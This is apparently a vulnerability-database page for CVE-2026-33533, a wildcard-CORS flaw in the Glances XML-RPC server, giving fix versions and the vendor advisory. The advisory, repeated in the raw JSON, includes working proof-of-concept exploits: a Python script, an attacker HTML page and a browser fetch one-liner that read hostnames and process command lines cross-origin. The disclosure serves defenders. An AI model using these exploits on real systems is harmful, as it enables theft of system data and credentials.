CVE-2026-33533: Glances Glances Vulnerable To Cross-Origin System Vulnerability

HIGH
Advisory Identifier: GHSA-7p93-6934-f4q7
Share
CWE-942
Published
Advisory Summary

CVE-2026-33533 is a HIGH glances vulnerable to cross-origin system vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting Glances libraries in the PyPI ecosystem. The issue involves glances vulnerable to cross-origin system information disclosure via xml-rpc server cors wildcard. Remediation is available by upgrading affected packages to version 4.5.3.

CVE-2026-33533 at a Glance

CVE Identifier CVE-2026-33533
GHSA Identifier GHSA-7p93-6934-f4q7
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Affected Product Glances
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-33533

To remediate this vulnerability, upgrade all affected Glances dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Glances fixed: 4.5.3 
pip install Glances>=4.5.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show Glances

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33533, inspect your installed packages using pip:

pip show Glances

Analyze the terminal output to locate any version of Glances in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.3), your application is affected.

Note: The pip show Glances command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In Glances, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). ### Details File: glances/server.py, class GlancesXMLRPCHandler, line 41 ```python def send_my_headers(self): self.send_header("Access-Control-Allow-Origin", "*") ``` This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results. The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally. ### PoC Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode. Step 1. Start the Glances XML-RPC server on the target machine: ``` glances -s -p 61209 ``` Step 2. From any machine, run the Python PoC to confirm the issue server-side: ``` python3 poc_test.py TARGET_IP 61209 ``` Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin. Step 4. Alternatively, paste this into any browser console while on any website: ```javascript fetch("http://TARGET_IP:61209/RPC2", { method: "POST", headers: {"Content-Type": "text/plain"}, body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>' }).then(r => r.text()).then(d => { let m = d.match(/<string>([\s\S]*?)<\/string>/); let data = JSON.parse(m[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&")); console.log("Hostname:", data.system.hostname); console.log("Processes:", data.processlist.length); console.log("First process cmdline:", data.processlist[0].cmdline); }); ``` Verified output from testing on Glances 4.5.3_dev01 (current main branch): ``` [+] HTTP Status: 200 [+] Access-Control-Allow-Origin: * [+] Successfully retrieved system data cross-origin. Hostname: claude OS: Linux 6.8.0-1024-gcp Process count: 125 Top processes include full command lines with arguments Total data categories exposed: 35 ``` ### Impact Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box. poc_test.py ```python #!/usr/bin/env python3 """ PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration This script simulates the browser-based attack by sending a POST request with Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server. The server responds with Access-Control-Allow-Origin: * which allows any webpage to read the full response containing system monitoring data. Usage: python3 poc_test.py [target_host] [target_port] Default: python3 poc_test.py 127.0.0.1 61209 """ import http.client import json import sys import xmlrpc.client def main(): host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209 print(f"[*] Target: {host}:{port}") print(f"[*] Simulating cross-origin request (Content-Type: text/plain)") print() conn = http.client.HTTPConnection(host, port, timeout=10) # XML-RPC payload sent as text/plain to avoid CORS preflight payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>' headers = { "Content-Type": "text/plain", "Origin": "http://evil-attacker.com", } try: conn.request("POST", "/RPC2", body=payload, headers=headers) response = conn.getresponse() except Exception as e: print(f"[-] Connection failed: {e}") sys.exit(1) print(f"[+] HTTP Status: {response.status}") cors = response.getheader("Access-Control-Allow-Origin") print(f"[+] Access-Control-Allow-Origin: {cors}") print() if cors != "*": print("[-] CORS header is not wildcard. Attack would not work.") sys.exit(1) data = response.read() result = xmlrpc.client.loads(data)[0][0] parsed = json.loads(result) print("[+] Successfully retrieved system data cross-origin.") print() print("=== Stolen System Information ===") print() system = parsed.get("system", {}) print(f"Hostname: {system.get('hostname', 'N/A')}") print(f"OS: {system.get('os_name', 'N/A')} {system.get('os_version', '')}") print(f"Platform: {system.get('platform', 'N/A')}") print(f"Distribution: {system.get('linux_distro', 'N/A')}") print() cpu = parsed.get("cpu", {}) print(f"CPU user: {cpu.get('user', 'N/A')}%") print(f"CPU system: {cpu.get('system', 'N/A')}%") print(f"CPU cores: {cpu.get('cpucore', 'N/A')}") print() mem = parsed.get("mem", {}) total_mb = round((mem.get("total", 0)) / 1024 / 1024) used_mb = round((mem.get("used", 0)) / 1024 / 1024) print(f"Memory: {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)") print() ip_info = parsed.get("ip", {}) print(f"IP Address: {ip_info.get('address', 'N/A')}") print(f"Subnet Mask: {ip_info.get('mask', 'N/A')}") print() procs = parsed.get("processlist", []) print(f"Process count: {len(procs)}") print() print("Top 5 processes by CPU (with command lines):") for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]: cmdline = p.get("cmdline", []) cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline) print(f" PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}") print() print(f"[+] Total data categories exposed: {len(parsed.keys())}") print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}") if __name__ == "__main__": main() ``` poc_cors_xmlrpc.html ```html <!DOCTYPE html> <html> <head><title>Glances XML-RPC CORS PoC</title></head> <body> <h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2> <p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p> <button onclick="exploit()">Steal System Data</button> <pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre> <script> async function exploit() { const target = document.getElementById("target").value; const out = document.getElementById("output"); out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n"; out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n"; try { const resp = await fetch(target + "/RPC2", { method: "POST", headers: {"Content-Type": "text/plain"}, body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>' }); out.textContent += "[+] Response status: " + resp.status + "\n"; out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n"; const xml = await resp.text(); const match = xml.match(/<string>([\s\S]*?)<\/string>/); if (match) { const data = JSON.parse(match[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&")); out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n"; out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n"; out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n"; out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n"; out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n"; out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n"; out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n"; if (data.processlist?.length > 0) { out.textContent += "[+] Top 10 processes (with full command lines):\n"; data.processlist.slice(0, 10).forEach(p => { const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || ""); out.textContent += " PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n"; }); } if (data.network?.length > 0) { out.textContent += "\n[+] Network interfaces:\n"; data.network.forEach(n => { out.textContent += " " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n"; }); } if (data.fs?.length > 0) { out.textContent += "\n[+] Filesystems:\n"; data.fs.forEach(f => { out.textContent += " " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n"; }); } } } catch(e) { out.textContent += "[-] Error: " + e.message + "\n"; } } </script> </body> </html> ```

CVE-2026-33533 Affected Glances Versions

1 component(s)
Fixed Versions:
4.5.3
Product / Package Ecosystem Affected Versions Fixed Version
Glances
pypi/Glances
PyPI
< 4.5.3
4.5.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7
NVD — CVE-2026-33533 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-33533
Security Fix Commit FIX COMMIT
https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1
Glances Source Repository REPOSITORY
https://github.com/nicolargo/glances
Glances Release RELEASE
https://github.com/nicolargo/glances/releases/tag/v4.5.3

Frequently Asked Questions

What is CVE-2026-33533?
CVE-2026-33533 is a security vulnerability in Glances involving Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains.
Which Glances versions are affected?
Affected versions include releases prior to 4.5.3 across affected packages: Glances.
What version fixes CVE-2026-33533?
Upgrading to 4.5.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Glances affected?
Yes, Glances is affected in releases prior to 4.5.3. Upgrade your dependency to 4.5.3 or later.
What CWE is associated with CVE-2026-33533?
CVE-2026-33533 is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains (The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.).
How can I check PyPI dependencies for CVE-2026-33533?
Run the dependency tree command: 'pip show Glances'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7p93-6934-f4q7",
  "modified" : "2026-04-27T15:23:43Z",
  "published" : "2026-03-30T17:00:54Z",
  "aliases" : [ "CVE-2026-33533" ],
  "summary" : "Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard",
  "details" : "### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances/server.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n    self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http://TARGET_IP:61209/RPC2\", {\n    method: \"POST\",\n    headers: {\"Content-Type\": \"text/plain\"},\n    body: '<?xml version=\"1.0\"?><methodCall><methodName>getAll</methodName></methodCall>'\n}).then(r => r.text()).then(d => {\n    let m = d.match(/<string>([\\s\\S]*?)<\\/string>/);\n    let data = JSON.parse(m[1].replace(/&lt;/g,\"<\").replace(/&gt;/g,\">\").replace(/&amp;/g,\"&\"));\n    console.log(\"Hostname:\", data.system.hostname);\n    console.log(\"Processes:\", data.processlist.length);\n    console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname:     claude\nOS:           Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text/plain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n    host = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\n    port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209\n\n    print(f\"[*] Target: {host}:{port}\")\n    print(f\"[*] Simulating cross-origin request (Content-Type: text/plain)\")\n    print()\n\n    conn = http.client.HTTPConnection(host, port, timeout=10)\n\n    # XML-RPC payload sent as text/plain to avoid CORS preflight\n    payload = '<?xml version=\"1.0\"?><methodCall><methodName>getAll</methodName></methodCall>'\n    headers = {\n        \"Content-Type\": \"text/plain\",\n        \"Origin\": \"http://evil-attacker.com\",\n    }\n\n    try:\n        conn.request(\"POST\", \"/RPC2\", body=payload, headers=headers)\n        response = conn.getresponse()\n    except Exception as e:\n        print(f\"[-] Connection failed: {e}\")\n        sys.exit(1)\n\n    print(f\"[+] HTTP Status: {response.status}\")\n    cors = response.getheader(\"Access-Control-Allow-Origin\")\n    print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n    print()\n\n    if cors != \"*\":\n        print(\"[-] CORS header is not wildcard. Attack would not work.\")\n        sys.exit(1)\n\n    data = response.read()\n    result = xmlrpc.client.loads(data)[0][0]\n    parsed = json.loads(result)\n\n    print(\"[+] Successfully retrieved system data cross-origin.\")\n    print()\n    print(\"=== Stolen System Information ===\")\n    print()\n\n    system = parsed.get(\"system\", {})\n    print(f\"Hostname:     {system.get('hostname', 'N/A')}\")\n    print(f\"OS:           {system.get('os_name', 'N/A')} {system.get('os_version', '')}\")\n    print(f\"Platform:     {system.get('platform', 'N/A')}\")\n    print(f\"Distribution: {system.get('linux_distro', 'N/A')}\")\n    print()\n\n    cpu = parsed.get(\"cpu\", {})\n    print(f\"CPU user:     {cpu.get('user', 'N/A')}%\")\n    print(f\"CPU system:   {cpu.get('system', 'N/A')}%\")\n    print(f\"CPU cores:    {cpu.get('cpucore', 'N/A')}\")\n    print()\n\n    mem = parsed.get(\"mem\", {})\n    total_mb = round((mem.get(\"total\", 0)) / 1024 / 1024)\n    used_mb = round((mem.get(\"used\", 0)) / 1024 / 1024)\n    print(f\"Memory:       {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)\")\n    print()\n\n    ip_info = parsed.get(\"ip\", {})\n    print(f\"IP Address:   {ip_info.get('address', 'N/A')}\")\n    print(f\"Subnet Mask:  {ip_info.get('mask', 'N/A')}\")\n    print()\n\n    procs = parsed.get(\"processlist\", [])\n    print(f\"Process count: {len(procs)}\")\n    print()\n    print(\"Top 5 processes by CPU (with command lines):\")\n    for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n        cmdline = p.get(\"cmdline\", [])\n        cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n        print(f\"  PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}\")\n\n    print()\n    print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n    print(f\"[+] Categories: {', '.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Glances XML-RPC CORS PoC</title></head>\n<body>\n<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>\n<p>Target: <input id=\"target\" value=\"http://127.0.0.1:61209\" size=\"40\"></p>\n<button onclick=\"exploit()\">Steal System Data</button>\n<pre id=\"output\" style=\"background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;\"></pre>\n<script>\nasync function exploit() {\n    const target = document.getElementById(\"target\").value;\n    const out = document.getElementById(\"output\");\n    out.textContent = \"[*] Sending cross-origin XML-RPC request to \" + target + \"/RPC2\\n\";\n    out.textContent += \"[*] Content-Type: text/plain (CORS simple request, no preflight)\\n\\n\";\n\n    try {\n        const resp = await fetch(target + \"/RPC2\", {\n            method: \"POST\",\n            headers: {\"Content-Type\": \"text/plain\"},\n            body: '<?xml version=\"1.0\"?><methodCall><methodName>getAll</methodName></methodCall>'\n        });\n\n        out.textContent += \"[+] Response status: \" + resp.status + \"\\n\";\n        out.textContent += \"[+] CORS header: \" + resp.headers.get(\"Access-Control-Allow-Origin\") + \"\\n\\n\";\n\n        const xml = await resp.text();\n        const match = xml.match(/<string>([\\s\\S]*?)<\\/string>/);\n        if (match) {\n            const data = JSON.parse(match[1].replace(/&lt;/g,\"<\").replace(/&gt;/g,\">\").replace(/&amp;/g,\"&\"));\n            out.textContent += \"[+] === STOLEN SYSTEM DATA ===\\n\\n\";\n            out.textContent += \"Hostname: \" + (data.system?.hostname || \"N/A\") + \"\\n\";\n            out.textContent += \"OS: \" + (data.system?.os_name || \"N/A\") + \" \" + (data.system?.os_version || \"\") + \"\\n\";\n            out.textContent += \"CPU cores: \" + (data.cpu?.cpucore || \"N/A\") + \"\\n\";\n            out.textContent += \"CPU usage: \" + (data.cpu?.user || \"N/A\") + \"% user\\n\";\n            out.textContent += \"Memory: \" + Math.round((data.mem?.used||0)/1024/1024) + \"MB / \" + Math.round((data.mem?.total||0)/1024/1024) + \"MB\\n\";\n            out.textContent += \"Processes: \" + (data.processlist?.length || 0) + \"\\n\\n\";\n\n            if (data.processlist?.length > 0) {\n                out.textContent += \"[+] Top 10 processes (with full command lines):\\n\";\n                data.processlist.slice(0, 10).forEach(p => {\n                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(\" \") : (p.cmdline || \"\");\n                    out.textContent += \"  PID \" + p.pid + \" | \" + p.name + \" | \" + cmd.substring(0,120) + \"\\n\";\n                });\n            }\n\n            if (data.network?.length > 0) {\n                out.textContent += \"\\n[+] Network interfaces:\\n\";\n                data.network.forEach(n => {\n                    out.textContent += \"  \" + n.interface_name + \" | RX: \" + n.bytes_recv + \" TX: \" + n.bytes_sent + \"\\n\";\n                });\n            }\n\n            if (data.fs?.length > 0) {\n                out.textContent += \"\\n[+] Filesystems:\\n\";\n                data.fs.forEach(f => {\n                    out.textContent += \"  \" + f.mnt_point + \" | \" + f.device_name + \" | \" + f.percent + \"% used\\n\";\n                });\n            }\n        }\n    } catch(e) {\n        out.textContent += \"[-] Error: \" + e.message + \"\\n\";\n    }\n}\n</script>\n</body>\n</html>\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33533"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T17:00:54Z",
    "nvd_published_at" : "2026-04-02T15:16:39Z"
  }
}